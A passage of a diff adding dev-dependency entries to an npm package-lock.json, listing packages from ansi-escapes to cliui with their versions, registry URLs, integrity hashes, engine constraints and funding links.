"integrity": "sha512-JoX0apGbHaUJBNl6yF+p6JAFYZ666/hhCGKN5t9QFjbJQKUU/g8MNbFDbvfrgKXvI1QpZplPOnwIo99lX/AAmA==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/ansi-escapes": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz", + "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==", + "dev": true, + "dependencies": { + "type-fest": "^0.21.3" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ansi-regex": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.0.1.tgz", + "integrity": "sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dev": true, + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/archiver": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/archiver/-/archiver-6.0.1.tgz", + "integrity": "sha512-CXGy4poOLBKptiZH//VlWdFuUC1RESbdZjGjILwBuZ73P7WkAUN0htfSfBq/7k6FRFlpu7bg4JOkj1vU9G6jcQ==", + "dev": true, + "dependencies": { + "archiver-utils": "^4.0.1", + "async": "^3.2.4", + "buffer-crc32": "^0.2.1", + "readable-stream": "^3.6.0", + "readdir-glob": "^1.1.2", + "tar-stream": "^3.0.0", + "zip-stream": "^5.0.1" + }, + "engines": { + "node": ">= 12.0.0" + } + }, + "node_modules/archiver-utils": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/archiver-utils/-/archiver-utils-4.0.1.tgz", + "integrity": "sha512-Q4Q99idbvzmgCTEAAhi32BkOyq8iVI5EwdO0PmBDSGIzzjYNdcFn7Q7k3OzbLy4kLUPXfJtG6fO2RjftXbobBg==", + "dev": true, + "dependencies": { + "glob": "^8.0.0", + "graceful-fs": "^4.2.0", + "lazystream": "^1.0.0", + "lodash": "^4.17.15", + "normalize-path": "^3.0.0", + "readable-stream": "^3.6.0" + }, + "engines": { + "node": ">= 12.0.0" + } + }, + "node_modules/archiver-utils/node_modules/glob": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/glob/-/glob-8.1.0.tgz", + "integrity": "sha512-r8hpEjiQEYlF2QU0df3dS+nxxSIreXQS1qRhMJM0Q5NDdR386C7jb7Hwwod8Fgiuex+k0GFjgft18yvxm5XoCQ==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^5.0.1", + "once": "^1.3.0" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/archiver-utils/node_modules/minimatch": { + "version": "5.1.6", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.6.tgz", + "integrity": "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==", + "dev": true, + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/arg": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/arg/-/arg-4.1.3.tgz", + "integrity": "sha512-58S9QDqG0Xx27YwPSt9fJxivjYl432YCwfDMfZ+71RAqUrZef7LrKQZ3LHLOwCS4FLNBplP533Zx895SeOCHvA==", + "dev": true + }, + "node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", + "dev": true + }, + "node_modules/aria-query": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.0.tgz", + "integrity": "sha512-b0P0sZPKtyu8HkeRAfCq0IfURZK+SuwMjY1UXGBU27wpAiTwQAIlq56IbIO+ytk/JjS1fMR14ee5WBBfKi5J6A==", + "dev": true, + "dependencies": { + "dequal": "^2.0.3" + } + }, + "node_modules/assert": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/assert/-/assert-2.0.0.tgz", + "integrity": "sha512-se5Cd+js9dXJnu6Ag2JFc00t+HmHOen+8Q+L7O9zI0PqQXr20uk2J0XQqMxZEeo5U50o8Nvmmx7dZrl+Ufr35A==", + "dev": true, + "dependencies": { + "es6-object-assign": "^1.1.0", + "is-nan": "^1.2.1", + "object-is": "^1.0.1", + "util": "^0.12.0" + } + }, + "node_modules/ast-types": { + "version": "0.13.4", + "resolved": "https://registry.npmjs.org/ast-types/-/ast-types-0.13.4.tgz", + "integrity": "sha512-x1FCFnFifvYDDzTaLII71vG5uvDwgtmDTEVWAxrgeiR8VjMONcCXJx7E+USjDtHlwFmt9MysbqgF9b9Vjr6w+w==", + "dev": true, + "dependencies": { + "tslib": "^2.0.1" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/async": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/async/-/async-3.2.4.tgz", + "integrity": "sha512-iAB+JbDEGXhyIUavoDl9WP/Jj106Kz9DEn1DPgYw5ruDn0e3Wgi3sKFm55sASdGBNOQB8F59d9qQ7deqrHA8wQ==", + "dev": true + }, + "node_modules/async-exit-hook": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/async-exit-hook/-/async-exit-hook-2.0.1.tgz", + "integrity": "sha512-NW2cX8m1Q7KPA7a5M2ULQeZ2wR5qI5PAbw5L0UOMxdioVk9PMZ0h1TmyZEkPYrCvYjDlFICusOu1dlEKAAeXBw==", + "dev": true, + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/available-typed-arrays": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.5.tgz", + "integrity": "sha512-DMD0KiN46eipeziST1LPP/STfDU0sufISXmjSgvVsoU2tqxctQeASejWcfNtxYKqETM1UxQ8sp2OrSBWpHY6sw==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/b4a": { + "version": "1.6.4", + "resolved": "https://registry.npmjs.org/b4a/-/b4a-1.6.4.tgz", + "integrity": "sha512-fpWrvyVHEKyeEvbKZTVOeZF3VSKKWtJxFIxX/jaVPf+cLbGUSitjb49pHLqPV2BUNNZ0LcoeEGfE/YCpyDYHIw==", + "dev": true + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true + }, + "node_modules/base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/basic-ftp": { + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/basic-ftp/-/basic-ftp-5.0.3.tgz", + "integrity": "sha512-QHX8HLlncOLpy54mh+k/sWIFd0ThmRqwe9ZjELybGZK+tZ8rUb9VO0saKJUROTbE+KhzDUT7xziGpGrW8Kmd+g==", + "dev": true, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/big-integer": { + "version": "1.6.51", + "resolved": "https://registry.npmjs.org/big-integer/-/big-integer-1.6.51.tgz", + "integrity": "sha512-GPEid2Y9QU1Exl1rpO9B2IPJGHPSupF5GnVIP0blYvNOMer2bTvSWs1jGOUg04hTmu67nmLsQ9TBo1puaotBHg==", + "dev": true, + "engines": { + "node": ">=0.6" + } + }, + "node_modules/binary": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/binary/-/binary-0.3.0.tgz", + "integrity": "sha512-D4H1y5KYwpJgK8wk1Cue5LLPgmwHKYSChkbspQg5JtVuR5ulGckxfR62H3AE9UDkdMC8yyXlqYihuz3Aqg2XZg==", + "dev": true, + "dependencies": { + "buffers": "~0.1.1", + "chainsaw": "~0.1.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/bl": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz", + "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==", + "dev": true, + "dependencies": { + "buffer": "^5.5.0", + "inherits": "^2.0.4", + "readable-stream": "^3.4.0" + } + }, + "node_modules/bluebird": { + "version": "3.4.7", + "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.4.7.tgz", + "integrity": "sha512-iD3898SR7sWVRHbiQv+sHUtHnMvC1o3nW5rAcqnq3uOn07DSAppZYUkIGslDz6gXC7HfunPe7YVBgoEJASPcHA==", + "dev": true + }, + "node_modules/brace-expansion": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz", + "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "dev": true, + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "dependencies": { + "fill-range": "^7.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/browser-stdout": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/browser-stdout/-/browser-stdout-1.3.1.tgz", + "integrity": "sha512-qhAVI1+Av2X7qelOfAIYwXONood6XlZE/fXaBSmW/T5SzLAmCgzi+eiWE7fUvbHaeNBQH13UftjpXxsfLkMpgw==", + "dev": true + }, + "node_modules/browserslist": { + "version": "4.21.10", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.21.10.tgz", + "integrity": "sha512-bipEBdZfVH5/pwrvqc+Ub0kUPVfGUhlKxbvfD+z1BDnPEO/X98ruXGA1WP5ASpAFKan7Qr6j736IacbZQuAlKQ==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "caniuse-lite": "^1.0.30001517", + "electron-to-chromium": "^1.4.477", + "node-releases": "^2.0.13", + "update-browserslist-db": "^1.0.11" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/buffer": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", + "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.1.13" + } + }, + "node_modules/buffer-crc32": { + "version": "0.2.13", + "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz", + "integrity": "sha512-VO9Ht/+p3SN7SKWqcrgEzjGbRSJYTx+Q1pTQC0wrWqHx0vpJraQ6GtHx8tvcg1rlK1byhU5gccxgOgj7B0TDkQ==", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/buffer-from": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", + "dev": true + }, + "node_modules/buffer-indexof-polyfill": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/buffer-indexof-polyfill/-/buffer-indexof-polyfill-1.0.2.tgz", + "integrity": "sha512-I7wzHwA3t1/lwXQh+A5PbNvJxgfo5r3xulgpYDB5zckTu/Z9oUK9biouBKQUjEqzaz3HnAT6TYoovmE+GqSf7A==", + "dev": true, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/buffers": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/buffers/-/buffers-0.1.1.tgz", + "integrity": "sha512-9q/rDEGSb/Qsvv2qvzIzdluL5k7AaJOTrw23z9reQthrbF7is4CtlT0DXyO1oei2DCp4uojjzQ7igaSHp1kAEQ==", + "dev": true, + "engines": { + "node": ">=0.2.0" + } + }, + "node_modules/cac": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/cac/-/cac-3.0.4.tgz", + "integrity": "sha512-hq4rxE3NT5PlaEiVV39Z45d6MoFcQZG5dsgJqtAUeOz3408LEQAElToDkf9i5IYSCOmK0If/81dLg7nKxqPR0w==", + "dev": true, + "dependencies": { + "camelcase-keys": "^3.0.0", + "chalk": "^1.1.3", + "indent-string": "^3.0.0", + "minimist": "^1.2.0", + "read-pkg-up": "^1.0.1", + "suffix": "^0.1.0", + "text-table": "^0.2.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/cac/node_modules/ansi-regex": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", + "integrity": "sha512-TIGnTpdo+E3+pCyAluZvtED5p5wCqLdezCyhPZzKPcxvFplEt4i+W7OONCKgeZFT3+y5NZZfOOS/Bdcanm1MYA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/cac/node_modules/ansi-styles": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz", + "integrity": "sha512-kmCevFghRiWM7HB5zTPULl4r9bVFSWjz62MhqizDGUrq2NWuNMQyuv4tHHoKJHs69M/MF64lEcHdYIocrdWQYA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/cac/node_modules/chalk": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz", + "integrity": "sha512-U3lRVLMSlsCfjqYPbLyVv11M9CPW4I728d6TCKMAOJueEeB9/8o+eSsMnxPJD+Q+K909sdESg7C+tIkoH6on1A==", + "dev": true, + "dependencies": { + "ansi-styles": "^2.2.1", + "escape-string-regexp": "^1.0.2", + "has-ansi": "^2.0.0", + "strip-ansi": "^3.0.0", + "supports-color": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/cac/node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "dev": true, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/cac/node_modules/find-up": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-1.1.2.tgz", + "integrity": "sha512-jvElSjyuo4EMQGoTwo1uJU5pQMwTW5lS1x05zzfJuTIyLR3zwO27LYrxNg+dlvKpGOuGy/MzBdXh80g0ve5+HA==", + "dev": true, + "dependencies": { + "path-exists": "^2.0.0", + "pinkie-promise": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/cac/node_modules/hosted-git-info": { + "version": "2.8.9", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.9.tgz", + "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==", + "dev": true + }, + "node_modules/cac/node_modules/normalize-package-data": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz", + "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==", + "dev": true, + "dependencies": { + "hosted-git-info": "^2.1.4", + "resolve": "^1.10.0", + "semver": "2 || 3 || 4 || 5", + "validate-npm-package-license": "^3.0.1" + } + }, + "node_modules/cac/node_modules/path-exists": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-2.1.0.tgz", + "integrity": "sha512-yTltuKuhtNeFJKa1PiRzfLAU5182q1y4Eb4XCJ3PBqyzEDkAZRzBrKKBct682ls9reBVHf9udYLN5Nd+K1B9BQ==", + "dev": true, + "dependencies": { + "pinkie-promise": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/cac/node_modules/read-pkg": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-1.1.0.tgz", + "integrity": "sha512-7BGwRHqt4s/uVbuyoeejRn4YmFnYZiFl4AuaeXHlgZf3sONF0SOGlxs2Pw8g6hCKupo08RafIO5YXFNOKTfwsQ==", + "dev": true, + "dependencies": { + "load-json-file": "^1.0.0", + "normalize-package-data": "^2.3.2", + "path-type": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/cac/node_modules/read-pkg-up": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-1.0.1.tgz", + "integrity": "sha512-WD9MTlNtI55IwYUS27iHh9tK3YoIVhxis8yKhLpTqWtml739uXc9NWTpxoHkfZf3+DkCCsXox94/VWZniuZm6A==", + "dev": true, + "dependencies": { + "find-up": "^1.0.0", + "read-pkg": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/cac/node_modules/semver": { + "version": "5.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz", + "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==", + "dev": true, + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/cac/node_modules/strip-ansi": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", + "integrity": "sha512-VhumSSbBqDTP8p2ZLKj40UjBCV4+v8bUSEpUb4KjRgWk9pbqGF4REFj6KEagidb2f/M6AzC0EmFyDNGaw9OCzg==", + "dev": true, + "dependencies": { + "ansi-regex": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/cac/node_modules/supports-color": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz", + "integrity": "sha512-KKNVtd6pCYgPIKU4cp2733HWYCpplQhddZLBUryaAHou723x+FRzQ5Df824Fj+IyyuiQTRoub4SnIFfIcrp70g==", + "dev": true, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/cacheable-lookup": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/cacheable-lookup/-/cacheable-lookup-7.0.0.tgz", + "integrity": "sha512-+qJyx4xiKra8mZrcwhjMRMUhD5NR1R8esPkzIYxX96JiecFoxAXFuz/GpR3+ev4PE1WamHip78wV0vcmPQtp8w==", + "dev": true, + "engines": { + "node": ">=14.16" + } + }, + "node_modules/cacheable-request": { + "version": "10.2.13", + "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-10.2.13.tgz", + "integrity": "sha512-3SD4rrMu1msNGEtNSt8Od6enwdo//U9s4ykmXfA2TD58kcLkCobtCDiby7kNyj7a/Q7lz/mAesAFI54rTdnvBA==", + "dev": true, + "dependencies": { + "@types/http-cache-semantics": "^4.0.1", + "get-stream": "^6.0.1", + "http-cache-semantics": "^4.1.1", + "keyv": "^4.5.3", + "mimic-response": "^4.0.0", + "normalize-url": "^8.0.0", + "responselike": "^3.0.0" + }, + "engines": { + "node": ">=14.16" + } + }, + "node_modules/cacheable-request/node_modules/get-stream": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz", + "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/call-bind": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", + "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", + "dev": true, + "dependencies": { + "function-bind": "^1.1.1", + "get-intrinsic": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/camelcase": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-3.0.0.tgz", + "integrity": "sha512-4nhGqUkc4BqbBBB4Q6zLuD7lzzrHYrjKGeYaEji/3tFR5VdJu9v+LilhGIVe8wxEJPPOeWo7eg8dwY13TZ1BNg==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/camelcase-keys": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-3.0.0.tgz", + "integrity": "sha512-U4E6A6aFyYnNW+tDt5/yIUKQURKXe3WMFPfX4FxrQFcwZ/R08AUk1xWcUtlr7oq6CV07Ji+aa69V2g7BSpblnQ==", + "dev": true, + "dependencies": { + "camelcase": "^3.0.0", + "map-obj": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001527", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001527.tgz", + "integrity": "sha512-YkJi7RwPgWtXVSgK4lG9AHH57nSzvvOp9MesgXmw4Q7n0C3H04L0foHqfxcmSAm5AcWb8dW9AYj2tR7/5GnddQ==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ] + }, + "node_modules/chainsaw": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/chainsaw/-/chainsaw-0.1.0.tgz", + "integrity": "sha512-75kWfWt6MEKNC8xYXIdRpDehRYY/tNSgwKaJq+dbbDcxORuVrrQ+SEHoWsniVn9XPYfP4gmdWIeDk/4YNp1rNQ==", + "dev": true, + "dependencies": { + "traverse": ">=0.3.0 <0.4" + }, + "engines": { + "node": "*" + } + }, + "node_modules/chalk": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-5.3.0.tgz", + "integrity": "sha512-dLitG79d+GV1Nb/VYcCDFivJeK1hiukt9QjRNVOsUtTy1rR1YJsmpGGTZ3qJos+uw7WmWF4wUwBd9jxjocFC2w==", + "dev": true, + "engines": { + "node": "^12.17.0 || ^14.13 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/chardet": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.7.0.tgz", + "integrity": "sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA==", + "dev": true + }, + "node_modules/chokidar": { + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", + "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "dev": true, + "funding": [ + { + "type": "individual", + "url": "https://paulmillr.com/funding/" + } + ], + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/chromium-bidi": { + "version": "0.4.16", + "resolved": "https://registry.npmjs.org/chromium-bidi/-/chromium-bidi-0.4.16.tgz", + "integrity": "sha512-7ZbXdWERxRxSwo3txsBjjmc/NLxqb1Bk30mRb0BMS4YIaiV6zvKZqL/UAH+DdqcDYayDWk2n/y8klkBDODrPvA==", + "dev": true, + "dependencies": { + "mitt": "3.0.0" + }, + "peerDependencies": { + "devtools-protocol": "*" + } + }, + "node_modules/ci-info": { + "version": "3.8.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.8.0.tgz", + "integrity": "sha512-eXTggHWSooYhq49F2opQhuHWgzucfF2YgODK4e1566GQs5BIfP30B0oenwBJHfWxAs2fyPB1s7Mg949zLf61Yw==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "engines": { + "node": ">=8" + } + }, + "node_modules/cli-cursor": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-3.1.0.tgz", + "integrity": "sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==", + "dev": true, + "dependencies": { + "restore-cursor": "^3.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/cli-spinners": { + "version": "2.9.0", + "resolved": "https://registry.npmjs.org/cli-spinners/-/cli-spinners-2.9.0.tgz", + "integrity": "sha512-4/aL9X3Wh0yiMQlE+eeRhWP6vclO3QRtw1JHKIT0FFUs5FjpFmESqtMvYZ0+lbzBw900b95mS0hohy+qn2VK/g==", + "dev": true, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/cli-width": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-4.1.0.tgz", + "integrity": "sha512-ouuZd4/dm2Sw5Gmqy6bGyNNNe1qt9RpmxveLSO7KcgsTnU7RXfsw+/bukWGo1abgBiMAic068rclZsO4IWmmxQ==", + "dev": true, + "engines": { + "node": ">= 12" + } + }, + "node_modules/cliui": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", + "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", + "dev": true, + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.1", + "wrap-ansi": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + 